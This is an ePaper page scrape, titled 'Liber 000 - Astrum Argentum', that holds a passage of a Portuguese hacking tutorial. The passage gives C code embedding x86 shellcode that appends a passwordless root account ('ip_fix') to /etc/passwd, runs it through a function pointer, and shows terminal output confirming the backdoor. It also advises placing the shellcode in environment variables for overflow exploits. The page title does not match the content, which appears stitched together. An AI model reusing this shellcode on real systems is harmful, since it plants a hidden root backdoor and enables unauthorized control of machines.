01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

main() {<br />

"\x68\x3a\x30\x3a\x30" /* push $0x303a303a */<br />

"\x68\x66\x69\x78\x3a" /* push $0x3a786966 */<br />

"\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */<br />

"\x89\xe1" /* mov %esp,%ecx */<br />

"\x31\xd2" /* xor %edx,%edx */<br />

"\xb2\x1c" /* mov $0x1c,%dl */<br />

"\xb0\x04" /* mov $0x4,%al */<br />

"\xcd\x80" /* int $0x80 */<br />

"\x31\xc0" /* xor %eax,%eax */<br />

"\x31\xdb" /* xor %ebx,%ebx */<br />

"\xb0\x01" /* mov $0x1,%al */<br />

"\xcd\x80"; /* int $0x80 */<br />

/* Mostramos o tamanho para se ter um controle maior. */<br />

printf("Tamanho do Shellcode: %d bytes.\n", strlen<br />

(shellcode));<br />

/* Criamos um ponteiro para uma função do tipo long. */<br />

long (*executa) ();<br />

/* Apontamos a função para o shellcode. */<br />

executa = shellcode;<br />

/* E aqui acontece a mágica! :) */<br />

executa();<br />

}<br />

shellcode/hexapasswd2.c<br />

Vamos ver se está certo.:<br />

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static<br />

hexapasswd2.c<br />

hexapasswd2.c: In function `main':<br />

hexapasswd2.c:47: warning: assignment from incompatible pointer type<br />

root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2<br />

Tamanho do Shellcode: 86 bytes.<br />

root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd<br />

root:x:0:0::/root:/bin/bash<br />

...<br />

...<br />

...<br />

nobody:x:99:99:nobody:/:<br />

ip_fix::0:0::/root:/bin/sh<br />

root@motdlabs:~/IP_FIX/shellcode#<br />

w00w00!!! Sim!!! Perfeito!!!<br />

É um pouco grandinho mas funciona, lembrando-se que numa<br />

exploração de overflow podemos carregar nosso shellcode na<br />

enviroment no sistema ao invés de jogarmos dentro do buffer. ;)<br />

Galera, é isso aí...<br />

93

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!